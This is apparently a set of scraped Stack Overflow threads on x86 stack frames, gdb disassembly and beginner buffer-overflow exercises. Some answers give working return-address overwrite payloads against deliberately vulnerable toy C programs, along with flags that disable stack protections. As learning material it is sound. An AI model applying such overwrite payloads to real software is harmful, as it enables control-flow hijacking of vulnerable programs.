In order to continue this:
Debugging C program (int declaration)
I decided to test more code and see how compiler reacts to it.
So I decided to try this one to test local variables:
#include <stdio.h>
main()
{
int a,b,c,d,e,f,g;
a=0xbeef;
b=0xdead;
c=0x12;
d=0x65;
e=0xfed;
f=0xaa;
g=0xfaceb00c;
a=a+b;
printf("%d",a);
}
Ok I did that int a,b,c... just to test the main's frame size and see the sub $0x10,%esp growing up, (I'm under linux so that is why maybe is sub), now to sub $0x30,%esp
so here is the the gdb output with "disas main" command:
0x0804841c <+0>: push %ebp
0x0804841d <+1>: mov %esp,%ebp
0x0804841f <+3>: and $0xfffffff0,%esp
0x08048422 <+6>: sub $0x30,%esp ;7 int vars 4-byte is 7*4=28. 30 is enough
0x08048425 <+9>: movl $0xbeef,0x14(%esp)
0x0804842d <+17>: movl $0xdead,0x18(%esp)
0x08048435 <+25>: movl $0x12,0x1c(%esp)
0x0804843d <+33>: movl $0x65,0x20(%esp)
0x08048445 <+41>: movl $0xfed,0x24(%esp)
0x0804844d <+49>: movl $0xaa,0x28(%esp)
0x08048455 <+57>: movl $0xfaceb00c,0x2c(%esp)
0x0804845d <+65>: mov 0x18(%esp),%eax
0x08048461 <+69>: add %eax,0x14(%esp)
0x08048465 <+73>: mov 0x14(%esp),%eax
0x08048469 <+77>: mov %eax,0x4(%esp)
0x0804846d <+81>: movl $0x8048510,(%esp)
0x08048474 <+88>: call 0x80482f0 <printf#plt>
0x08048479 <+93>: leave
0x0804847a <+94>: ret
This line: 0x0804841f <+3>:and $0xfffffff0,%esp
what is and operator and why is there a large number?
And why the offset in movl commands isn't negative like: movl $0xa,-0x4(%ebp)
So far I know is the AND is a logical operator like 1 and 1 is 1, 0 and 0 is 0, 1 and 0 is 0 etc...
If it is the case, %esp has the ebp value that was the base frame address of who called the main function.
can any of you explain why this is compiled like this?
I think I'm missing something.
Edit: I saw some "topics" on stackoverflow talking about this. Going to share: link1
link2
link3
Why is the offset in movl $0xbeef,0x14(%esp) not negative?
Because unlike in the other example, addressing is relative to esp, not ebp. esp is on one end of the stack, esp on the other one. So in order to get an address inside the current stack frame, you need to add to esp or subtract from ebp.
Why and $0xfffffff0,%esp?
For alignment. #BlackBear explains this in the answer to your previous question: Debugging C program (int declaration)
Related
I'm learning about basic buffer overflows, and I have the following C code:
int your_fcn()
{
char buffer[4];
int *ret;
ret = buffer + 8;
(*ret) += 16;
return 1;
}
int main()
{
int mine = 0;
int yours = 0;
yours = your_fcn();
mine = yours + 1;
if(mine > yours)
printf("You lost!\n");
else
printf("You won!\n");
return EXIT_SUCCESS;
}
My goal is to bypass the line mine = yours + 1;, skip straight to the if statement comparison, so I can "win". main() cannot be touched, only your_fcn() can.
My approach is to override the return address with a buffer overflow. So in this case, I identified that the return address should be 8 bytes away from buffer, since buffer is 4 bytes and EBP is 4 bytes. I then used gdb to identify that the line I want to jump to is 16 bytes away from the function call. Here is the result from gdb:
(gdb) disassemble main
Dump of assembler code for function main:
0x0000054a <+0>: lea 0x4(%esp),%ecx
0x0000054e <+4>: and $0xfffffff0,%esp
0x00000551 <+7>: pushl -0x4(%ecx)
0x00000554 <+10>: push %ebp
0x00000555 <+11>: mov %esp,%ebp
0x00000557 <+13>: push %ebx
0x00000558 <+14>: push %ecx
0x00000559 <+15>: sub $0x10,%esp
0x0000055c <+18>: call 0x420 <__x86.get_pc_thunk.bx>
0x00000561 <+23>: add $0x1a77,%ebx
0x00000567 <+29>: movl $0x0,-0xc(%ebp)
0x0000056e <+36>: movl $0x0,-0x10(%ebp)
0x00000575 <+43>: call 0x51d <your_fcn>
0x0000057a <+48>: mov %eax,-0x10(%ebp)
0x0000057d <+51>: mov -0x10(%ebp),%eax
0x00000580 <+54>: add $0x1,%eax
0x00000583 <+57>: mov %eax,-0xc(%ebp)
0x00000586 <+60>: mov -0xc(%ebp),%eax
0x00000589 <+63>: cmp -0x10(%ebp),%eax
0x0000058c <+66>: jle 0x5a2 <main+88>
0x0000058e <+68>: sub $0xc,%esp
0x00000591 <+71>: lea -0x1988(%ebx),%eax
I see the line 0x00000575 <+43>: call 0x51d <your_fcn> and 0x00000583 <+57>: mov %eax,-0xc(%ebp) are four lines away from each other, which tells me I should offset ret by 16 bytes. But the address from gdb says something different. That is, the function call starts on 0x00000575 and the line I want to jump to is on 0x00000583, which means that they are 15 bytes away?
Either way, whether I use 16 bytes or 15 bytes, I get a segmentation fault error and I still "lose".
Question: What am I doing wrong? Why don't the address given in gdb go by 4 bytes at a time and what's actually going on here. How can I correctly jump to the line I want?
Clarification: This is being done on a x32 machine on a VM running linux Ubuntu. I'm compiling with the command gcc -fno-stack-protector -z execstack -m32 -g guesser.c -o guesser.o, which turns stack protector off and forces x32 compilation.
gdb of your_fcn() as requested:
(gdb) disassemble your_fcn
Dump of assembler code for function your_fcn:
0x0000051d <+0>: push %ebp
0x0000051e <+1>: mov %esp,%ebp
0x00000520 <+3>: sub $0x10,%esp
0x00000523 <+6>: call 0x5c3 <__x86.get_pc_thunk.ax>
0x00000528 <+11>: add $0x1ab0,%eax
0x0000052d <+16>: lea -0x8(%ebp),%eax
0x00000530 <+19>: add $0x8,%eax
0x00000533 <+22>: mov %eax,-0x4(%ebp)
0x00000536 <+25>: mov -0x4(%ebp),%eax
0x00000539 <+28>: mov (%eax),%eax
0x0000053b <+30>: lea 0xc(%eax),%edx
0x0000053e <+33>: mov -0x4(%ebp),%eax
0x00000541 <+36>: mov %edx,(%eax)
0x00000543 <+38>: mov $0x1,%eax
0x00000548 <+43>: leave
0x00000549 <+44>: ret
x86 has variable length instructions, so you cannot simply count instructions and multiply by 4. Since you have the output from gdb, trust it to determine the address of each instruction.
The return address from the function is the address after the call instruction. In the code shown, this would be main+48.
The if statement starts at main+60, not main+57. The instruction at main+57 stores yours+1 into mine. So to adjust the return address to return to the if statement, you should add 12 (that is, 60 - 48).
Doing that skips the assignments to both yours and mine. Since they are both initialized to 0, it will print "You won".
I wrote a simple program in C to be analysed in GDB
#include <stdio.h>
int add_numbers(int n1,int n2)
{
int sum=n1+n2;
return sum;
}
int main()
{
int n1=1;
int n2=2;
int sum;
sum = add_numbers(n1,n2);
printf("The sum of 1 and 2 is %d",sum);
return 0;
}
Here is the disassembly of main
0x08048433 <+0>: push %ebp
0x08048434 <+1>: mov %esp,%ebp
0x08048436 <+3>: and $0xfffffff0,%esp
0x08048439 <+6>: sub $0x20,%esp
0x0804843c <+9>: movl $0x1,0x14(%esp)
0x08048444 <+17>: movl $0x2,0x18(%esp)
0x0804844c <+25>: mov 0x18(%esp),%eax
0x08048450 <+29>: mov %eax,0x4(%esp)
0x08048454 <+33>: mov 0x14(%esp),%eax
0x08048458 <+37>: mov %eax,(%esp)
0x0804845b <+40>: call 0x804841d <add_numbers>
0x08048460 <+45>: mov %eax,0x1c(%esp)
0x08048464 <+49>: mov 0x1c(%esp),%eax
0x08048468 <+53>: mov %eax,0x4(%esp)
0x0804846c <+57>: movl $0x8048510,(%esp)
0x08048473 <+64>: call 0x80482f0 <printf#plt>
0x08048478 <+69>: mov $0x0,%eax
0x0804847d <+74>: leave
0x0804847e <+75>: ret
I then set a breakpoint on line 12 and analysed the stack with
'x/20x $esp'
0xbffff270: 0x00000001 0xbffff334 0xbffff33c 0xb7e4342d
0xbffff280: 0xb7fbb3c4 0x00000001 0x0804848b 0xb7fbb000
0xbffff290: 0x08048480 0x00000000 0x00000000 0xb7e29a83
0xbffff2a0: 0x00000001 0xbffff334 0xbffff33c 0xb7feccea
0xbffff2b0: 0x00000001 0xbffff334 0xbffff2d4 0x0804a014
So why is it that the statement 'movl $0x1,0x14(%esp)' moves 1 to the second address in the stack? Specifically how is this stack incremented(or decremented because the stack grows down?) to put '1' in the address following the'$eip' register?
A tutorial would be nice too since I’ve probably missed this information.
Thanks!
-Tom
The assembly instruction movl $0x1,0x14(%esp) moves the 32-bit integer value 1 into the 4 bytes located 20 bytes past the address that the register ESP points to. In your memory dump that would be the four bytes starting at 0xbffff284, which is the second 32-bit value on the second line.
This instruction doesn't change the value of ESP. It's neither incremented nor decremented. The value in ESP changed previously by the instruction at 0x08048439: sub $0x20,%esp. This instruction reserves 32-bytes on the stack for local variables used by the function, along with outgoing arguments for function calls. The variables n1, n2, and sum are located at addresses 0xbffff284, 0xbffff288, and 0xbffff28c respectively.
Nothing is stored at the address following EIP anywhere in your program. I assume you actually meant something else by this, but I don't know what.
I am attempting to change the result of a function using a buffer overflow to change the results on the stack with the following code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int check_auth1(char *password)
{
char password_buffer[8];
int auth_flag = 0;
strcpy(password_buffer, password);
if (strcmp(password_buffer, "cup") == 0) {
auth_flag = 1;
}
return auth_flag;
}
int main(int argc, char **argv)
{
if (argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
int authenticated = check_auth1(argv[1]);
if (authenticated != 1) {
printf("NOT Allowed.\n");
} else {
printf("Allowed.\n");
}
return 0;
}
I'm using gdb to analyse the stack and this is what I have:
0xbffff6d0: 0xbffff8e4 0x0000002f 0xbffff72c 0xb7fd0ff4
0xbffff6e0: 0x08048540 0x08049ff4 0x00000002 0x0804833d
0xbffff6f0: 0x00000000 0x00000000 0xbffff728 0x0804850f
0xbffff700: 0xbffff901 0xb7e5e196 0xb7fd0ff4 0xb7e5e225
0xbffff710: 0xb7fed280 0x00000000 0x08048549 0xb7fd0ff4
0xbffff720: 0x08048540 0x00000000 0x00000000 0xb7e444d3
0xbffff730: 0x00000002 0xbffff7c4 0xbffff7d0 0xb7fdc858
0xbffff740: 0x00000000 0xbffff71c 0xbffff7d0 0x00000000
[1] $ebp 0xbffff6f8
[2] $esp 0xbffff6d0
[3] password 0xbffff700
[4] auth_flag 0xbffff6ec
[5] password_buffer 0xbffff6e4
0x080484ce <+0>: push %ebp
0x080484cf <+1>: mov %esp,%ebp
0x080484d1 <+3>: and $0xfffffff0,%esp
0x080484d4 <+6>: sub $0x20,%esp
0x080484d7 <+9>: cmpl $0x1,0x8(%ebp)
0x080484db <+13>: jg 0x80484ff <main+49>
0x080484dd <+15>: mov 0xc(%ebp),%eax
0x080484e0 <+18>: mov (%eax),%edx
0x080484e2 <+20>: mov $0x8048614,%eax
0x080484e7 <+25>: mov %edx,0x4(%esp)
0x080484eb <+29>: mov %eax,(%esp)
0x080484ee <+32>: call 0x8048360 <printf#plt>
0x080484f3 <+37>: movl $0x0,(%esp)
0x080484fa <+44>: call 0x80483a0 <exit#plt>
0x080484ff <+49>: mov 0xc(%ebp),%eax
0x08048502 <+52>: add $0x4,%eax
0x08048505 <+55>: mov (%eax),%eax
0x08048507 <+57>: mov %eax,(%esp)
----------
IMPORTANT STUFF STARTS NOW
0x0804850a <+60>: call 0x8048474 <check_auth1>
0x0804850f <+65>: mov %eax,0x1c(%esp)
0x08048513 <+69>: cmpl $0x1,0x1c(%esp)
0x08048518 <+74>: je 0x8048528 <main+90>
I determined how far apart $ebp is from &password_buffer: 0xbffff6f8 - 0xbffff6e4 = 14 bytes
So with 14 'A' input, i.e. ./stackoverflowtest $(perl -e 'print "A" x 14') it should take me to "Allowed".
Where am I going wrong? What is the needed input to cause a overflow?
ASLR and gcc canaries are turned off.
check_auth1 assembly dump:
Dump of assembler code for function check_auth1:
0x08048474 <+0>: push %ebp
0x08048475 <+1>: mov %esp,%ebp
0x08048477 <+3>: push %edi
0x08048478 <+4>: push %esi
0x08048479 <+5>: sub $0x20,%esp
=> 0x0804847c <+8>: movl $0x0,-0xc(%ebp)
0x08048483 <+15>: mov 0x8(%ebp),%eax
0x08048486 <+18>: mov %eax,0x4(%esp)
0x0804848a <+22>: lea -0x14(%ebp),%eax
0x0804848d <+25>: mov %eax,(%esp)
0x08048490 <+28>: call 0x8048370 <strcpy#plt>
0x08048495 <+33>: lea -0x14(%ebp),%eax
0x08048498 <+36>: mov %eax,%edx
0x0804849a <+38>: mov $0x8048610,%eax
0x0804849f <+43>: mov $0x4,%ecx
0x080484a4 <+48>: mov %edx,%esi
0x080484a6 <+50>: mov %eax,%edi
0x080484a8 <+52>: repz cmpsb %es:(%edi),%ds:(%esi)
0x080484aa <+54>: seta %dl
0x080484ad <+57>: setb %al
0x080484b0 <+60>: mov %edx,%ecx
0x080484b2 <+62>: sub %al,%cl
0x080484b4 <+64>: mov %ecx,%eax
0x080484b6 <+66>: movsbl %al,%eax
0x080484b9 <+69>: test %eax,%eax
0x080484bb <+71>: jne 0x80484c4 <check_auth1+80>
0x080484bd <+73>: movl $0x1,-0xc(%ebp)
0x080484c4 <+80>: mov -0xc(%ebp),%eax
0x080484c7 <+83>: add $0x20,%esp
0x080484ca <+86>: pop %esi
0x080484cb <+87>: pop %edi
0x080484cc <+88>: pop %ebp
0x080484cd <+89>: ret
This is quite easy to exploit, here is the way to walk through.
First compile it with -g, it makes it easier to understand what you are doing. Then, our goal will be to rewrite the saved eip of check_auth1() and move it to the else-part of the test in the main() function.
$> gcc -m32 -g -o vuln vuln.c
$> gdb ./vuln
...
(gdb) break check_auth1
Breakpoint 1 at 0x80484c3: file vulne.c, line 9.
(gdb) run `python -c 'print("A"*28)'`
Starting program: ./vulne `python -c 'print("A"*28)'`
Breakpoint 1,check_auth1 (password=0xffffd55d 'A' <repeats 28 times>) at vuln.c:9
9 int auth_flag = 0;
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484c3 in check_auth1 (vuln.c:9); saved eip 0x804853f
called by frame at 0xffffd320
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
We stopped at check_auth1() and displayed the stack frame. We saw that the saved eip is stored in the stack at 0xffffd2ec and contains 0x804853f.
Let see to what it does lead:
(gdb) disassemble main
Dump of assembler code for function main:
0x080484ff <+0>: push %ebp
0x08048500 <+1>: mov %esp,%ebp
0x08048502 <+3>: and $0xfffffff0,%esp
0x08048505 <+6>: sub $0x20,%esp
0x08048508 <+9>: cmpl $0x1,0x8(%ebp)
0x0804850c <+13>: jg 0x804852f <main+48>
0x0804850e <+15>: mov 0xc(%ebp),%eax
0x08048511 <+18>: mov (%eax),%eax
0x08048513 <+20>: mov %eax,0x4(%esp)
0x08048517 <+24>: movl $0x8048604,(%esp)
0x0804851e <+31>: call 0x8048360 <printf#plt>
0x08048523 <+36>: movl $0x0,(%esp)
0x0804852a <+43>: call 0x80483a0 <exit#plt>
0x0804852f <+48>: mov 0xc(%ebp),%eax
0x08048532 <+51>: add $0x4,%eax
0x08048535 <+54>: mov (%eax),%eax
0x08048537 <+56>: mov %eax,(%esp)
0x0804853a <+59>: call 0x80484bd <check_auth1>
0x0804853f <+64>: mov %eax,0x1c(%esp) <-- We jump here when returning
0x08048543 <+68>: cmpl $0x1,0x1c(%esp)
0x08048548 <+73>: je 0x8048558 <main+89>
0x0804854a <+75>: movl $0x804861a,(%esp)
0x08048551 <+82>: call 0x8048380 <puts#plt>
0x08048556 <+87>: jmp 0x8048564 <main+101>
0x08048558 <+89>: movl $0x8048627,(%esp) <-- We want to jump here
0x0804855f <+96>: call 0x8048380 <puts#plt>
0x08048564 <+101>: mov $0x0,%eax
0x08048569 <+106>: leave
0x0804856a <+107>: ret
End of assembler dump.
But the truth is that we want to avoid to go through the cmpl $0x1,0x1c(%esp) and go directly to the else-part of the test. Meaning that we want to jump to 0x08048558.
Anyway, lets first try to see if our 28 'A' are enough to rewrite the saved eip.
(gdb) next
10 strcpy(password_buffer, password);
(gdb) next
11 if (strcmp(password_buffer, "cup") == 0) {
Here, the strcpy did the overflow, so lets look at the stack-frame:
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484dc in check_auth1 (vulnerable.c:11); saved eip 0x41414141
called by frame at 0xffffd2f4
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
Indeed, we rewrote the saved eip with 'A' (0x41 is the hexadecimal code for A). And, in fact, 28 is exactly what we need, not more. If we replace the four last bytes by the target address it will be okay.
One thing is that you need to reorder the bytes to take the little-endianess into account. So, 0x08048558 will become \x58\x85\x04\x08.
Finally, you will also need to write some meaningful address for the saved ebp value (not AAAA), so my trick is just to double the last address like this:
$> ./vuln `python -c 'print("A"*20 + "\x58\x85\x04\x08\x58\x85\x04\x08")'`
Note that there is no need to disable the ASLR, because you are jumping in the .text section (and this section do no move under the ASLR). But, you definitely need to disable canaries.
EDIT: I was wrong about replacing the saved ebp by our saved eip. In fact, if you do not give the right ebp you will hit a segfault when attempting to exit from main. This is because, we did set the saved ebp to somewhere in the .text section and, even if there is no problem when returning from check_auth1, the stack frame will be restored improperly when returning in the main function (the system will believe that the stack is located in the code). The result will be that the 4 bytes above the address pointed by the saved ebp we wrote (and pointing to the instructions) will be mistaken with the saved eip of main. So, either you disable the ASLR and write the correct address of the saved ebp (0xffffd330) which will lead to
$> ./vuln `python -c 'print("A"*20 + "\xff\xff\xd3\x30\x58\x85\x04\x08")'`
Or, you need to perform a ROP that will perform a clean exit(0) (which is usually quite easy to achieve).
you're checking against 1 exactly; change it to (the much more normal style for c programming)
if (! authenticated) {
and you'll see that it is working (or run it in gdb, or print out the flag value, and you'll see that the flag is being overwritten nicely, it's just not 1).
remember that an int is made of multiple chars. so setting a value of exactly 1 is hard, because many of those chars need to be zero (which is the string terminator). instead you are getting a value like 13363 (for the password 12345678901234).
[huh; valgrind doesn't complain even with the overflow.]
UPDATE
ok, here's how to do it with the code you have. we need a string with 13 characters, where the final character is ASCII 1. in bash:
> echo -n "123456789012" > foo
> echo $'\001' >> foo
> ./a.out `cat foo`
Allowed.
where i am using
if (authenticated != 1) {
printf("NOT Allowed.\n");
} else {
printf("Allowed.\n");
}
also, i am relying on the compiler setting some unused bytes to zero (little endian; 13th byte is 1 14-16th are 0). it works with gcc bo.c but not with gcc -O3 bo.c.
the other answer here gets around this by walking on to the next place that can be overwritten usefully (i assumed you were targeting the auth_flag variable since you placed it directly after the password).
strcpy(password_buffer, password);
One of the things you will need to address during testing is this function call. If the program seg faults, then it could be because of FORTIFY_SOURCE. I'd like to say "crashes unexpectedly", but I don't think that applies here ;)
FORTIFY_SOURCE uses "safer" variants of high risk functions like memcpy and strcpy. The compiler uses the safer variants when it can deduce the destination buffer size. If the copy would exceed the destination buffer size, then the program calls abort().
To disable FORTIFY_SOURCE for your testing, you should compile the program with -U_FORTIFY_SOURCE or -D_FORTIFY_SOURCE=0.
I am trying to overflow buffer in Ubuntu 10.04 using a C program and diverting the return address to function "junk". But I am not able to overwrite the return address with the address of unused function "junk". It just dumps some unknown address on 12 bytes of stack. Please help me troubleshoot it. Here is the C code:-
(gdb) list
1 #include<stdio.h>
2 void display()
3 {
4 char buff[8];
5 gets(buff);
6 puts(buff);
7 }
8 main()
9 {
10 display();
(gdb)
11 return(0);
12 }
13 junk()
14 {
15 printf("cracked");
16 }
The disasambled code for main is:-
Dump of assembler code for function main:
0x08048462 <+0>: push %ebp
0x08048463 <+1>: mov %esp,%ebp
0x08048465 <+3>: call 0x8048444 <display>
0x0804846a <+8>: mov $0x0,%eax
0x0804846f <+13>: pop %ebp
0x08048470 <+14>: ret
End of assembler dump.
Dump of assembler code for function display:
0x08048444 <+0>: push %ebp
0x08048445 <+1>: mov %esp,%ebp
0x08048447 <+3>: sub $0xc,%esp
0x0804844a <+6>: lea -0x8(%ebp),%eax
0x0804844d <+9>: mov %eax,(%esp)
0x08048450 <+12>: call 0x8048350 <gets#plt>
0x08048455 <+17>: lea -0x8(%ebp),%eax
0x08048458 <+20>: mov %eax,(%esp)
0x0804845b <+23>: call 0x8048380 <puts#plt>
0x08048460 <+28>: leave
0x08048461 <+29>: ret
End of assembler dump.
Dump of assembler code for function junk:
0x08048471 <+0>: push %ebp
0x08048472 <+1>: mov %esp,%ebp
0x08048474 <+3>: sub $0x4,%esp
0x08048477 <+6>: mov $0x8048550,%eax
0x0804847c <+11>: mov %eax,(%esp)
0x0804847f <+14>: call 0x8048370 <printf#plt>
0x08048484 <+19>: leave
0x08048485 <+20>: ret
End of assembler dump.
Now i assemble it without stack protection:-
gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -o buffer buffer.c
If i give input of:- printf "wwwwwwwwwwww\x72\x84\x04\x08" | ./buffer
The value:- "x72\x84\x04\x08" as the diverted address of 1st instruction of unused function "junk".
It stores some strange memory values on the 12 bytes alongwith return address also, but not my address. And again gives "Segmentation Fault". Is there some other way to exploit buffer in newer Linux flavors?
leave is equivalent to the following:
movl %ebp, %esp
popl %ebp
Thus, in your case, if you supply 'wwww' for %ebp, the program is going to try and do something like this:
movl $0x77777777, %esp ; 0x77777777 = 'wwww'
popl %ebp ; read from address 0x77777777!
You need to supply a reasonable value for %esp!
The code below is from the well-known article Smashing The Stack For Fun And Profit.
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret)+=8;
}
void main() {
int x;
x=0;
function(1,2,3);
x=1;
printf("%d\n",x);
}
I think I must explain my target of this code.
The stack model is below. The number below the word is the number of bytes of the variable in the stack. So, if I want to rewrite RET to skip the statement I want, I calculate the offset from buffer1 to RET is 8+4=12. Since the architecture is x86 Linux.
buffer2 buffer1 BSP RET a b c
(12) (8) (4) (4) (4) (4) (4)
I want to skip the statement x=1; and let printf() output 0 on the screen.
I compile the code with:
gcc stack2.c -g
and run it in gdb:
gdb ./a.out
gdb gives me the result like this:
Program received signal SIGSEGV, Segmentation fault.
main () at stack2.c:17
17 x = 1;
I think Linux uses some mechanism to protect against stack overflow. Maybe Linux stores the RET address in another place and compares the RET address in the stack before functions return.
And what is the detail about the mechanism? How should I rewrite the code to make the program output 0?
OK,the disassemble code is below.It comes form the output of gdb since I think is more easy to read for you.And anybody can tell me how to paste a long code sequence?Copy and paste one by one makes me too tired...
Dump of assembler code for function main:
0x08048402 <+0>: push %ebp
0x08048403 <+1>: mov %esp,%ebp
0x08048405 <+3>: sub $0x10,%esp
0x08048408 <+6>: movl $0x0,-0x4(%ebp)
0x0804840f <+13>: movl $0x3,0x8(%esp)
0x08048417 <+21>: movl $0x2,0x4(%esp)
0x0804841f <+29>: movl $0x1,(%esp)
0x08048426 <+36>: call 0x80483e4 <function>
0x0804842b <+41>: movl $0x1,-0x4(%ebp)
0x08048432 <+48>: mov $0x8048520,%eax
0x08048437 <+53>: mov -0x4(%ebp),%edx
0x0804843a <+56>: mov %edx,0x4(%esp)
0x0804843e <+60>: mov %eax,(%esp)
0x08048441 <+63>: call 0x804831c <printf#plt>
0x08048446 <+68>: mov $0x0,%eax
0x0804844b <+73>: leave
0x0804844c <+74>: ret
Dump of assembler code for function function:
0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: sub $0x14,%esp
0x080483ea <+6>: lea -0x9(%ebp),%eax
0x080483ed <+9>: add $0x3,%eax
0x080483f0 <+12>: mov %eax,-0x4(%ebp)
0x080483f3 <+15>: mov -0x4(%ebp),%eax
0x080483f6 <+18>: mov (%eax),%eax
0x080483f8 <+20>: lea 0x8(%eax),%edx
0x080483fb <+23>: mov -0x4(%ebp),%eax
0x080483fe <+26>: mov %edx,(%eax)
0x08048400 <+28>: leave
0x08048401 <+29>: ret
I check the assemble code and find some mistake about my program,and I have rewrite (*ret)+=8 to (*ret)+=7,since 0x08048432 <+48>minus0x0804842b <+41> is 7.
Because that article is from 1996 and the assumptions are incorrect.
Refer to "Smashing The Modern Stack For Fun And Profit"
http://www.ethicalhacker.net/content/view/122/24/
From the above link:
However, the GNU C Compiler (gcc) has evolved since 1998, and as a result, many people are left wondering why they can't get the examples to work for them, or if they do get the code to work, why they had to make the changes that they did.
The function function overwrites some place of the stack outside of its own, which is this case is the stack of main. What it overwrites I don't know, but it causes the segmentation fault you see. It might be some protection employed by the operating system, but it might as well be the generated code just does something wrong when wrong value is at that position on the stack.
This is a really good example of what may happen when you write outside of your allocated memory. It might crash directly, it might crash somewhere completely different, or if might not crash at all but instead just do some calculation wrong.
Try ret = buffer1 + 3;
Explanation: ret is an integer pointer; incrementing it by 1 adds 4 bytes to the address on 32bit machines.